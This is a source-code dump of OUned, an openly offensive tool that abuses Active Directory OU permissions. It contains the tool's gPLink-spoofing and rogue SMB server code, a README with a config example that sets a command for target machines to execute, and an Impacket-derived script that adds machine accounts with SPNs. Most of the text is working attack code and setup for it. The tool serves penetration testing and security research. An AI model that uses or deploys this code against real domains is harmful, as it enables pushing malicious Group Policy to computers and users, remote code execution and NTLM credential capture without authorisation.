481 | logger.warning(f"[*] Initial gPLink is {initial_gPLink}.")
482 | if str(initial_gPLink) != '[]':
483 | spoofed_gPLink = str(initial_gPLink) + spoofed_gPLink
484 | logger.warning(f"[*] Spoofing gPLink to {spoofed_gPLink}")
485 | result = modify_attribute(ldap_session, ou_dn, 'gPLink', spoofed_gPLink)
486 | if result is not True: raise Exception
487 | except:
488 | print(traceback.print_exc())
489 | logger.critical(f"{bcolors.FAIL}[!] Failed to modify the gPLink attribute of the target OU with provided user.{bcolors.ENDC}")
490 | clean(ldap_session, ldap_server_session, save_file_name)
491 | sys.exit(1)
492 | save_attribute_value("gPLink", initial_gPLink, save_file_name, "domain", ou_dn)
493 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully spoofed gPLink for OU {ou_dn}{bcolors.ENDC}")
494 |
495 |
496 |
497 |
498 | ### ======================== ###
499 | ### Launching GPT SMB server ###
500 | ### ======================== ###
501 | try:
502 | if just_coerce is True and coerce_to is not None:
503 | logger.warning(f"\n{bcolors.BOLD}=== WAITING (SMB NTLM AUTHENTICATION COERCED TO {smb_path}) ==={bcolors.ENDC}")
504 | while True:
505 | sleep(30)
506 |
507 | elif smb_mode == "embedded" or just_coerce is True:
508 | logger.warning(f"\n{bcolors.BOLD}=== LAUNCHING SMB SERVER AND WAITING FOR GPT REQUESTS ==={bcolors.ENDC}")
509 | logger.warning(f"\n{bcolors.BOLD}If the attack is successful, you will see authentication logs of machines retrieving and executing the malicious GPO{bcolors.ENDC}")
510 | logger.warning(f"{bcolors.BOLD}Type CTRL+C when you're done. This will trigger cleaning actions{bcolors.ENDC}\n")
511 |
512 | lmhash = compute_lmhash(ldap_machine_password)
513 | nthash = compute_nthash(ldap_machine_password)
514 |
515 | server = SimpleSMBServer(listenAddress=attacker_ip,
516 | listenPort=445,
517 | domainName=domain,
518 | machineName=ldap_machine_name,
519 | netlogon=False if just_coerce is True else True)
520 | server.addShare(smb_share_name.upper(), OUTPUT_DIR, '')
521 | server.setSMB2Support(True)
522 | server.addCredential(ldap_machine_name, 0, lmhash, nthash)
523 | server.setSMBChallenge('')
524 | server.setLogFile('')
525 | server.start()
526 |
527 | else:
528 | logger.warning(f"\n{bcolors.BOLD}=== WAITING (GPT REQUESTS WILL BE FORWARDED TO SMB SERVER) ==={bcolors.ENDC}")
529 | while True:
530 | sleep(30)
531 |
532 | except KeyboardInterrupt:
533 | logger.warning(f"\n\n{bcolors.BOLD}=== Cleaning and restoring previous GPC attribute values ==={bcolors.ENDC}\n")
534 | # Reinitialize ldap connections, since cleaning can happen long after exploit launch
535 | server = Server(f'ldaps://{domain}:636', port = 636, use_ssl = True) if ldaps is True else Server(f'ldap://{domain}:389', port = 389, use_ssl = False)
536 | if hash is not None:
537 | ldap_session = Connection(server, user=f"{domain}\\{username}", password=hash, authentication=NTLM, auto_bind=True)
538 | else:
539 | ldap_session = Connection(server, user=f"{domain}\\{username}", password=password, authentication=NTLM, auto_bind=True)
540 | ldap_server = Server(f'ldap://{ldap_ip}:389', port = 389, use_ssl = False)
541 | ldap_server_session = Connection(ldap_server, user=f"{ldap_domain}\\{ldap_username}", password=ldap_password, authentication=NTLM, auto_bind=True)
542 | clean(ldap_session, ldap_server_session, save_file_name)
543 |
544 |
545 | def entrypoint():
546 | typer.run(main)
547 |
548 |
549 | if __name__ == "__main__":
550 | typer.run(main)
551 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # OUned
2 |
3 | The OUned project, an exploitation tool automating Organizational Units ACLs abuse through gPLink manipulation.
4 |
5 | For a detailed explanation regarding the principle behind the attack, the necessary setup as well as how to use the tool, you may refer to the
6 | associated article:
7 | https://www.synacktiv.com/publications/ounedpy-exploiting-hidden-organizational-units-acl-attack-vectors-in-active-directory
8 |
9 | # Installation
10 |
11 | Installation can be performed by cloning the repository and installing the dependencies:
12 |
13 | ```bash
14 | $ git clone https://github.com/synacktiv/OUned
15 | $ python3 -m pip install -r requirements.txt
16 | ```
17 |
18 | # Configuration file
19 |
20 | OUned arguments are provided through a configuration file - an example file is provided in the repository, `config.example.ini`.
21 |
22 | Each entry is described by a comment, but for detailed configuration instruction, please refer to the article mentioned in the introduction above.
23 | ```ini
24 | [GENERAL]
25 | # The target domain name
26 | domain=corp.com
27 |
28 | # The target Organizational Unit name
29 | ou=ACCOUNTING
30 |
31 | # The username and password of the user having write permissions on the gPLink attribute of the target OU
32 | username=naugustine
33 | password=Password1
34 |
35 | # The IP address of the attacker machine on the internal network
36 | attacker_ip=192.168.123.16
37 |
38 | # The command that should be executed by child objects
39 | command=whoami > C:\Temp\accounting.txt
40 |
41 | # The kind of objects targeted ("computer" or "user")
42 | target_type=user
43 |
44 |
45 | [LDAP]
46 | # The IP address of the dummy domain controller that will act as an LDAP server
47 | ldap_ip=192.168.125.245
48 |
49 | # Optional (used for sanity checks) - the hostname of the dummy domain controller
50 | ldap_hostname=WIN-TTEBC5VH747
51 |
52 | # The username and password of a domain administrator on the dummy domain controller
53 | ldap_username=ldapadm
54 | ldap_password=Password1!
55 |
56 | # The ID of the GPO (can be empty, only needs to exist) on the dummy domain controller
57 | gpo_id=7B7D6B23-26F8-4E4B-AF23-F9B9005167F6
58 |
59 | # The machine account name and password on the target domain that will be used to fake the LDAP server delivering the GPC
60 | # Do not forget to escape '%' signs by doubling them ! (e.g. '%%')
61 | ldap_machine_name=OUNED$
62 | ldap_machine_password=some_very_long_random_password_with_percent_signs_escaped
63 |
64 | [SMB]
65 | # The SMB mode can be embedded or forwarded depending on the kind of object targeted
66 | smb_mode=forwarded
67 |
68 | # The name of the SMB share. Can be anything for embedded mode, should match an existing share on SMB dummy domain controller for forwarded mode
69 | share_name=synacktiv
70 |
71 | # The IP address of the dummy domain controller that will act as an SMB server
72 | smb_ip=192.168.126.206
73 |
74 | # The username and password of a user having write access to the share on the SMB dummy domain controller
75 | smb_username=smbadm
76 | smb_password=Password1!
77 |
78 | # The machine account name and password on the target domain that will be used to fake the SMB server delivering the GPT
79 | # Do not forget to escape '%' signs by doubling them ! (e.g. '%%')
80 | smb_machine_name=OUNED2$
81 | smb_machine_password=some_very_long_random_password_with_percent_signs_escaped
82 | ```
83 |
84 | # OUned usage
85 |
86 | The only mandatory argument when running OUned is the `--config` flag indicating the path to the configuration file.
87 |
88 | The `--just-coerce` and `coerce-to` flags are used for SMB authentication coercion mode, in which OUned will force SMB authentication from
89 | OU child objects to the specified destination - for more details, see the article linked in the introduction.
90 |
91 | Regarding the `--just-clean` flag, see the next section.
92 |
93 | ```
94 | python3 OUned.py --help
95 |
96 | Usage: OUned.py [OPTIONS]
97 |
98 | ╭─ Options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
99 | │ * --config TEXT The configuration file for OUned [default: None] [required] │
100 | │ --skip-checks Do not perform the various checks related to the exploitation setup │
101 | │ --just-coerce Only coerce SMB NTLM authentication of OU child objects to the destination specified in the --coerce-to flag, or, if no destination is │
102 | │ specified, to a local SMB server that will print their NetNTLMv2 hashes │
103 | │ --coerce-to TEXT Coerce child objects SMB NTLM authentication to a specific destination - this argument should be an IP address [default: None] │
104 | │ --just-clean This flag indicates that OUned should only perform cleaning actions from specified cleaning-file │
105 | │ --cleaning-file TEXT The path to the cleaning file in case the --just-clean flag is used [default: None] │
106 | │ --verbose Enable verbose output │
107 | │ --help Show this message and exit. │
108 | ╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
109 | ```
110 |
111 | # About cleaning
112 |
113 | By default and as explained in the article, OUned will perform cleaning actions and among others restore the original gPLink value in the target domain. In case the exploit could not exit properly, OUned creates a cleaning file each time the exploit is executed, that can be used later on to restore legitimate values by using the `--just-clean` flag; for instance:
114 |
115 | ```bash
116 | $ python3 OUned.py --config config.example.ini --just-clean --cleaning-file cleaning/FINANCE/2024_04_14-05_02_46.txt
117 | ```
118 |
--------------------------------------------------------------------------------
/addcomputer_LDAP_spn.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | # Impacket - Collection of Python classes for working with network protocols.
3 | #
4 | # Copyright (C) 2022 Fortra. All rights reserved.
5 | #
6 | # This software is provided under a slightly modified version
7 | # of the Apache Software License. See the accompanying LICENSE file
8 | # for more information.
9 | #
10 | # Description:
11 | # This script will add a computer account to the domain and set its password.
12 | # Allows to use SAMR over SMB (this way is used by modern Windows computer when
13 | # adding machines through the GUI) and LDAPS.
14 | # Plain LDAP is not supported, as it doesn't allow setting the password.
15 | #
16 | # Author:
17 | # JaGoTu (@jagotu)
18 | #
19 | # Reference for:
20 | # SMB, SAMR, LDAP
21 | #
22 | # ToDo:
23 | # [ ]: Complete the process of joining a client computer to a domain via the SAMR protocol
24 | #
25 |
26 | from __future__ import division
27 | from __future__ import print_function
28 | from __future__ import unicode_literals
29 |
30 | from impacket import version
31 | from impacket.examples import logger
32 | from impacket.examples.utils import parse_credentials
33 | from impacket.dcerpc.v5 import samr, epm, transport
34 | from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
35 |
36 | import ldap3
37 | import argparse
38 | import logging
39 | import sys
40 | import string
41 | import random
42 | import ssl
43 | from binascii import unhexlify
44 |
45 |
46 | class ADDCOMPUTER:
47 | def __init__(self, username, password, domain, cmdLineOptions):
48 | self.options = cmdLineOptions
49 | self.__username = username
50 | self.__password = password
51 | self.__domain = domain
52 | self.__lmhash = ''
53 | self.__nthash = ''
54 | self.__hashes = cmdLineOptions.hashes
55 | self.__aesKey = cmdLineOptions.aesKey
56 | self.__doKerberos = cmdLineOptions.k
57 | self.__target = cmdLineOptions.dc_host
58 | self.__kdcHost = cmdLineOptions.dc_host
59 | self.__computerName = cmdLineOptions.computer_name
60 | self.__computerPassword = cmdLineOptions.computer_pass
61 | self.__method = cmdLineOptions.method
62 | self.__port = cmdLineOptions.port
63 | self.__domainNetbios = cmdLineOptions.domain_netbios
64 | self.__noAdd = cmdLineOptions.no_add
65 | self.__delete = cmdLineOptions.delete
66 | self.__targetIp = cmdLineOptions.dc_ip
67 | self.__baseDN = cmdLineOptions.baseDN
68 | self.__computerGroup = cmdLineOptions.computer_group
69 |
70 | if self.__targetIp is not None:
71 | self.__kdcHost = self.__targetIp
72 |
73 | if self.__method not in ['SAMR', 'LDAPS']:
74 | raise ValueError("Unsupported method %s" % self.__method)
75 |
76 | if self.__doKerberos and cmdLineOptions.dc_host is None:
77 | raise ValueError("Kerberos auth requires DNS name of the target DC. Use -dc-host.")
78 |
79 | if self.__method == 'LDAPS' and not '.' in self.__domain:
80 | logging.warning('\'%s\' doesn\'t look like a FQDN. Generating baseDN will probably fail.' % self.__domain)
81 |
82 | if cmdLineOptions.hashes is not None:
83 | self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')
84 |
85 | if self.__computerName is None:
86 | if self.__noAdd:
87 | raise ValueError("You have to provide a computer name when using -no-add.")
88 | elif self.__delete:
89 | raise ValueError("You have to provide a computer name when using -delete.")
90 | else:
91 | if self.__computerName[-1] != '$':
92 | self.__computerName += '$'
93 |
94 | if self.__computerPassword is None:
95 | self.__computerPassword = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32))
96 |
97 | if self.__target is None:
98 | if not '.' in self.__domain:
99 | logging.warning('No DC host set and \'%s\' doesn\'t look like a FQDN. DNS resolution of short names will probably fail.' % self.__domain)
100 | self.__target = self.__domain
101 |
102 | if self.__port is None:
103 | if self.__method == 'SAMR':
104 | self.__port = 445
105 | elif self.__method == 'LDAPS':
106 | self.__port = 636
107 |
108 | if self.__domainNetbios is None:
109 | self.__domainNetbios = self.__domain
110 |
111 | if self.__method == 'LDAPS' and self.__baseDN is None:
112 | # Create the baseDN
113 | domainParts = self.__domain.split('.')
114 | self.__baseDN = ''
115 | for i in domainParts:
116 | self.__baseDN += 'dc=%s,' % i
117 | # Remove last ','
118 | self.__baseDN = self.__baseDN[:-1]
119 |
120 | if self.__method == 'LDAPS' and self.__computerGroup is None:
121 | self.__computerGroup = 'CN=Computers,' + self.__baseDN
122 |
123 |
124 |
125 | def run_samr(self):
126 | if self.__targetIp is not None:
127 | stringBinding = epm.hept_map(self.__targetIp, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')
128 | else:
129 | stringBinding = epm.hept_map(self.__target, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')
130 | rpctransport = transport.DCERPCTransportFactory(stringBinding)
131 | rpctransport.set_dport(self.__port)
132 |
133 | if self.__targetIp is not None:
134 | rpctransport.setRemoteHost(self.__targetIp)
135 | rpctransport.setRemoteName(self.__target)
136 |
137 | if hasattr(rpctransport, 'set_credentials'):
138 | # This method exists only for selected protocol sequences.
139 | rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
140 | self.__nthash, self.__aesKey)
141 |
142 | rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
143 | self.doSAMRAdd(rpctransport)
144 |
145 | def run_ldaps(self):
146 | connectTo = self.__target
147 | if self.__targetIp is not None:
148 | connectTo = self.__targetIp
149 | try:
150 | user = '%s\\%s' % (self.__domain, self.__username)
151 | tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers='ALL:@SECLEVEL=0')
152 | try:
153 | ldapServer = ldap3.Server(connectTo, use_ssl=True, port=self.__port, get_info=ldap3.ALL, tls=tls)
154 | if self.__doKerberos:
155 | ldapConn = ldap3.Connection(ldapServer)
156 | self.LDAP3KerberosLogin(ldapConn, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
157 | self.__aesKey, kdcHost=self.__kdcHost)
158 | elif self.__hashes is not None:
159 | ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__hashes, authentication=ldap3.NTLM)
160 | ldapConn.bind()
161 | else:
162 | ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__password, authentication=ldap3.NTLM)
163 | ldapConn.bind()
164 |
165 | except ldap3.core.exceptions.LDAPSocketOpenError:
166 | #try tlsv1
167 | tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1, ciphers='ALL:@SECLEVEL=0')
168 | ldapServer = ldap3.Server(connectTo, use_ssl=True, port=self.__port, get_info=ldap3.ALL, tls=tls)
169 | if self.__doKerberos:
170 | ldapConn = ldap3.Connection(ldapServer)
171 | self.LDAP3KerberosLogin(ldapConn, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
172 | self.__aesKey, kdcHost=self.__kdcHost)
173 | elif self.__hashes is not None:
174 | ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__hashes, authentication=ldap3.NTLM)
175 | ldapConn.bind()
176 | else:
177 | ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__password, authentication=ldap3.NTLM)
178 | ldapConn.bind()
179 |
180 |
181 |
182 | if self.__noAdd or self.__delete:
183 | if not self.LDAPComputerExists(ldapConn, self.__computerName):
184 | raise Exception("Account %s not found in %s!" % (self.__computerName, self.__baseDN))
185 |
186 | computer = self.LDAPGetComputer(ldapConn, self.__computerName)
187 |
188 | if self.__delete:
189 | res = ldapConn.delete(computer.entry_dn)
190 | message = "delete"
191 | else:
192 | res = ldapConn.modify(computer.entry_dn, {'unicodePwd': [(ldap3.MODIFY_REPLACE, ['"{}"'.format(self.__computerPassword).encode('utf-16-le')])]})
193 | message = "set password for"
194 |
195 |
196 | if not res:
197 | if ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:
198 | raise Exception("User %s doesn't have right to %s %s!" % (self.__username, message, self.__computerName))
199 | else:
200 | raise Exception(str(ldapConn.result))
201 | else:
202 | if self.__noAdd:
203 | logging.info("Succesfully set password of %s to %s." % (self.__computerName, self.__computerPassword))
204 | else:
205 | logging.info("Succesfully deleted %s." % self.__computerName)
206 |
207 | else:
208 | if self.__computerName is not None:
209 | if self.LDAPComputerExists(ldapConn, self.__computerName):
210 | raise Exception("Account %s already exists! If you just want to set a password, use -no-add." % self.__computerName)
211 | else:
212 | while True:
213 | self.__computerName = self.generateComputerName()
214 | if not self.LDAPComputerExists(ldapConn, self.__computerName):
215 | break
216 |
217 |
218 | computerHostname = self.__computerName[:-1]
219 | computerDn = ('CN=%s,%s' % (computerHostname, self.__computerGroup))
220 |
221 | # Default computer SPNs
222 | spns = [
223 | 'HOST/%s' % computerHostname,
224 | 'HOST/%s.%s' % (computerHostname, self.__domain),
225 | 'LDAP/%s' % computerHostname,
226 | 'LDAP/%s.%s' % (computerHostname, self.__domain),
227 | 'RestrictedKrbHost/%s' % computerHostname,
228 | 'RestrictedKrbHost/%s.%s' % (computerHostname, self.__domain),
229 | ]
230 | ucd = {
231 | 'dnsHostName': '%s.%s' % (computerHostname, self.__domain),
232 | 'userAccountControl': 0x1000,
233 | 'servicePrincipalName': spns,
234 | 'sAMAccountName': self.__computerName,
235 | 'unicodePwd': ('"%s"' % self.__computerPassword).encode('utf-16-le')
236 | }
237 |
238 | res = ldapConn.add(computerDn, ['top','person','organizationalPerson','user','computer'], ucd)
239 | if not res:
240 | if ldapConn.result['result'] == ldap3.core.results.RESULT_UNWILLING_TO_PERFORM:
241 | error_code = int(ldapConn.result['message'].split(':')[0].strip(), 16)
242 | if error_code == 0x216D:
243 | raise Exception("User %s machine quota exceeded!" % self.__username)
244 | else:
245 | raise Exception(str(ldapConn.result))
246 | elif ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:
247 | raise Exception("User %s doesn't have right to create a machine account!" % self.__username)
248 | else:
249 | raise Exception(str(ldapConn.result))
250 | else:
251 | logging.info("Successfully added machine account %s with password %s." % (self.__computerName, self.__computerPassword))
252 | except Exception as e:
253 | if logging.getLogger().level == logging.DEBUG:
254 | import traceback
255 | traceback.print_exc()
256 |
257 | logging.critical(str(e))
258 |
259 |
260 | def LDAPComputerExists(self, connection, computerName):
261 | connection.search(self.__baseDN, '(sAMAccountName=%s)' % computerName)
262 | return len(connection.entries) ==1
263 |
264 | def LDAPGetComputer(self, connection, computerName):
265 | connection.search(self.__baseDN, '(sAMAccountName=%s)' % computerName)
266 | return connection.entries[0]
267 |
268 | def LDAP3KerberosLogin(self, connection, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None,
269 | TGS=None, useCache=True):
270 | from pyasn1.codec.ber import encoder, decoder
271 | from pyasn1.type.univ import noValue
272 | """
273 | logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
274 |
275 | :param string user: username
276 | :param string password: password for the user
277 | :param string domain: domain where the account is valid for (required)
278 | :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
279 | :param string nthash: NTHASH used to authenticate using hashes (password is not used)
280 | :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
281 | :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
282 | :param struct TGT: If there's a TGT available, send the structure here and it will be used
283 | :param struct TGS: same for TGS. See smb3.py for the format
284 | :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
285 |
286 | :return: True, raises an Exception if error.
287 | """
288 |
289 | if lmhash != '' or nthash != '':
290 | if len(lmhash) % 2:
291 | lmhash = '0' + lmhash
292 | if len(nthash) % 2:
293 | nthash = '0' + nthash
294 | try: # just in case they were converted already
295 | lmhash = unhexlify(lmhash)
296 | nthash = unhexlify(nthash)
297 | except TypeError:
298 | pass
299 |
300 | # Importing down here so pyasn1 is not required if kerberos is not used.
301 | from impacket.krb5.ccache import CCache
302 | from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
303 | from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
304 | from impacket.krb5 import constants
305 | from impacket.krb5.types import Principal, KerberosTime, Ticket
306 | import datetime
307 |
308 | if TGT is not None or TGS is not None:
309 | useCache = False
310 |
311 | targetName = 'ldap/%s' % self.__target
312 | if useCache:
313 | domain, user, TGT, TGS = CCache.parseFile(domain, user, targetName)
314 |
315 | # First of all, we need to get a TGT for the user
316 | userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
317 | if TGT is None:
318 | if TGS is None:
319 | tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash,
320 | aesKey, kdcHost)
321 | else:
322 | tgt = TGT['KDC_REP']
323 | cipher = TGT['cipher']
324 | sessionKey = TGT['sessionKey']
325 |
326 | if TGS is None:
327 | serverName = Principal(targetName, type=constants.PrincipalNameType.NT_SRV_INST.value)
328 | tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher,
329 | sessionKey)
330 | else:
331 | tgs = TGS['KDC_REP']
332 | cipher = TGS['cipher']
333 | sessionKey = TGS['sessionKey']
334 |
335 | # Let's build a NegTokenInit with a Kerberos REQ_AP
336 |
337 | blob = SPNEGO_NegTokenInit()
338 |
339 | # Kerberos
340 | blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
341 |
342 | # Let's extract the ticket from the TGS
343 | tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
344 | ticket = Ticket()
345 | ticket.from_asn1(tgs['ticket'])
346 |
347 | # Now let's build the AP_REQ
348 | apReq = AP_REQ()
349 | apReq['pvno'] = 5
350 | apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
351 |
352 | opts = []
353 | apReq['ap-options'] = constants.encodeFlags(opts)
354 | seq_set(apReq, 'ticket', ticket.to_asn1)
355 |
356 | authenticator = Authenticator()
357 | authenticator['authenticator-vno'] = 5
358 | authenticator['crealm'] = domain
359 | seq_set(authenticator, 'cname', userName.components_to_asn1)
360 | now = datetime.datetime.utcnow()
361 |
362 | authenticator['cusec'] = now.microsecond
363 | authenticator['ctime'] = KerberosTime.to_asn1(now)
364 |
365 | encodedAuthenticator = encoder.encode(authenticator)
366 |
367 | # Key Usage 11
368 | # AP-REQ Authenticator (includes application authenticator
369 | # subkey), encrypted with the application session key
370 | # (Section 5.5.1)
371 | encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
372 |
373 | apReq['authenticator'] = noValue
374 | apReq['authenticator']['etype'] = cipher.enctype
375 | apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
376 |
377 | blob['MechToken'] = encoder.encode(apReq)
378 |
379 |
380 | request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', blob.getData())
381 |
382 | # Done with the Kerberos saga, now let's get into LDAP
383 | # try to open connection if closed
384 | if connection.closed:
385 | connection.open(read_server_info=False)
386 |
387 | connection.sasl_in_progress = True
388 | response = connection.post_send_single_response(connection.send('bindRequest', request, None))
389 | connection.sasl_in_progress = False
390 | if response[0]['result'] != 0:
391 | raise Exception(response)
392 |
393 | connection.bound = True
394 |
395 | return True
396 |
397 | def generateComputerName(self):
398 | return 'DESKTOP-' + (''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) + '$')
399 |
400 | def doSAMRAdd(self, rpctransport):
401 | dce = rpctransport.get_dce_rpc()
402 | servHandle = None
403 | domainHandle = None
404 | userHandle = None
405 | try:
406 | dce.connect()
407 | dce.bind(samr.MSRPC_UUID_SAMR)
408 |
409 | samrConnectResponse = samr.hSamrConnect5(dce, '\\\\%s\x00' % self.__target,
410 | samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN )
411 | servHandle = samrConnectResponse['ServerHandle']
412 |
413 | samrEnumResponse = samr.hSamrEnumerateDomainsInSamServer(dce, servHandle)
414 | domains = samrEnumResponse['Buffer']['Buffer']
415 | domainsWithoutBuiltin = list(filter(lambda x : x['Name'].lower() != 'builtin', domains))
416 |
417 | if len(domainsWithoutBuiltin) > 1:
418 | domain = list(filter(lambda x : x['Name'].lower() == self.__domainNetbios, domains))
419 | if len(domain) != 1:
420 | logging.critical("This server provides multiple domains and '%s' isn't one of them.", self.__domainNetbios)
421 | logging.critical("Available domain(s):")
422 | for domain in domains:
423 | logging.error(" * %s" % domain['Name'])
424 | logging.critical("Consider using -domain-netbios argument to specify which one you meant.")
425 | raise Exception()
426 | else:
427 | selectedDomain = domain[0]['Name']
428 | else:
429 | selectedDomain = domainsWithoutBuiltin[0]['Name']
430 |
431 | samrLookupDomainResponse = samr.hSamrLookupDomainInSamServer(dce, servHandle, selectedDomain)
432 | domainSID = samrLookupDomainResponse['DomainId']
433 |
434 | if logging.getLogger().level == logging.DEBUG:
435 | logging.info("Opening domain %s..." % selectedDomain)
436 | samrOpenDomainResponse = samr.hSamrOpenDomain(dce, servHandle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER , domainSID)
437 | domainHandle = samrOpenDomainResponse['DomainHandle']
438 |
439 |
440 | if self.__noAdd or self.__delete:
441 | try:
442 | checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
443 | except samr.DCERPCSessionError as e:
444 | if e.error_code == 0xc0000073:
445 | raise Exception("Account %s not found in domain %s!" % (self.__computerName, selectedDomain))
446 | else:
447 | raise
448 |
449 | userRID = checkForUser['RelativeIds']['Element'][0]
450 | if self.__delete:
451 | access = samr.DELETE
452 | message = "delete"
453 | else:
454 | access = samr.USER_FORCE_PASSWORD_CHANGE
455 | message = "set password for"
456 | try:
457 | openUser = samr.hSamrOpenUser(dce, domainHandle, access, userRID)
458 | userHandle = openUser['UserHandle']
459 | except samr.DCERPCSessionError as e:
460 | if e.error_code == 0xc0000022:
461 | raise Exception("User %s doesn't have right to %s %s!" % (self.__username, message, self.__computerName))
462 | else:
463 | raise
464 | else:
465 | if self.__computerName is not None:
466 | try:
467 | checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
468 | raise Exception("Account %s already exists! If you just want to set a password, use -no-add." % self.__computerName)
469 | except samr.DCERPCSessionError as e:
470 | if e.error_code != 0xc0000073:
471 | raise
472 | else:
473 | foundUnused = False
474 | while not foundUnused:
475 | self.__computerName = self.generateComputerName()
476 | try:
477 | checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
478 | except samr.DCERPCSessionError as e:
479 | if e.error_code == 0xc0000073:
480 | foundUnused = True
481 | else:
482 | raise
483 |
484 | createUser = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.__computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE,)
485 | userHandle = createUser['UserHandle']
486 |
487 | if self.__delete:
488 | samr.hSamrDeleteUser(dce, userHandle)
489 | logging.info("Successfully deleted %s." % self.__computerName)
490 | userHandle = None
491 | else:
492 | samr.hSamrSetPasswordInternal4New(dce, userHandle, self.__computerPassword)
493 | if self.__noAdd:
494 | logging.info("Successfully set password of %s to %s." % (self.__computerName, self.__computerPassword))
495 | else:
496 | checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
497 | userRID = checkForUser['RelativeIds']['Element'][0]
498 | openUser = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, userRID)
499 | userHandle = openUser['UserHandle']
500 | req = samr.SAMPR_USER_INFO_BUFFER()
501 | req['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation
502 | req['Control']['UserAccountControl'] = samr.USER_WORKSTATION_TRUST_ACCOUNT
503 | samr.hSamrSetInformationUser2(dce, userHandle, req)
504 | logging.info("Successfully added machine account %s with password %s." % (self.__computerName, self.__computerPassword))
505 |
506 | except Exception as e:
507 | if logging.getLogger().level == logging.DEBUG:
508 | import traceback
509 | traceback.print_exc()
510 |
511 | logging.critical(str(e))
512 | finally:
513 | if userHandle is not None:
514 | samr.hSamrCloseHandle(dce, userHandle)
515 | if domainHandle is not None:
516 | samr.hSamrCloseHandle(dce, domainHandle)
517 | if servHandle is not None:
518 | samr.hSamrCloseHandle(dce, servHandle)
519 | dce.disconnect()
520 |
521 | def run(self):
522 | if self.__method == 'SAMR':
523 | self.run_samr()
524 | elif self.__method == 'LDAPS':
525 | self.run_ldaps()
526 |
527 | # Process command-line arguments.
528 | if __name__ == '__main__':
529 | # Init the example's logger theme
530 | logger.init()
531 | print((version.BANNER))
532 |
533 | parser = argparse.ArgumentParser(add_help = True, description = "Adds a computer account to domain")
534 |
535 | if sys.version_info.major == 2 and sys.version_info.minor == 7 and sys.version_info.micro < 16: #workaround for https://bugs.python.org/issue11874
536 | parser.add_argument('account', action='store', help='[domain/]username[:password] Account used to authenticate to DC.')
537 | else:
538 | parser.add_argument('account', action='store', metavar='[domain/]username[:password]', help='Account used to authenticate to DC.')
539 | parser.add_argument('-domain-netbios', action='store', metavar='NETBIOSNAME', help='Domain NetBIOS name. Required if the DC has multiple domains.')
540 | parser.add_argument('-computer-name', action='store', metavar='COMPUTER-NAME$', help='Name of computer to add.'
541 | 'If omitted, a random DESKTOP-[A-Z0-9]{8} will be used.')
542 | parser.add_argument('-computer-pass', action='store', metavar='password', help='Password to set to computer'
543 | 'If omitted, a random [A-Za-z0-9]{32} will be used.')
544 | parser.add_argument('-no-add', action='store_true', help='Don\'t add a computer, only set password on existing one.')
545 | parser.add_argument('-delete', action='store_true', help='Delete an existing computer.')
546 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
547 |
548 | group = parser.add_argument_group('LDAP')
549 | group.add_argument('-baseDN', action='store', metavar='DC=test,DC=local', help='Set baseDN for LDAP.'
550 | 'If ommited, the domain part (FQDN) '
551 | 'specified in the account parameter will be used.')
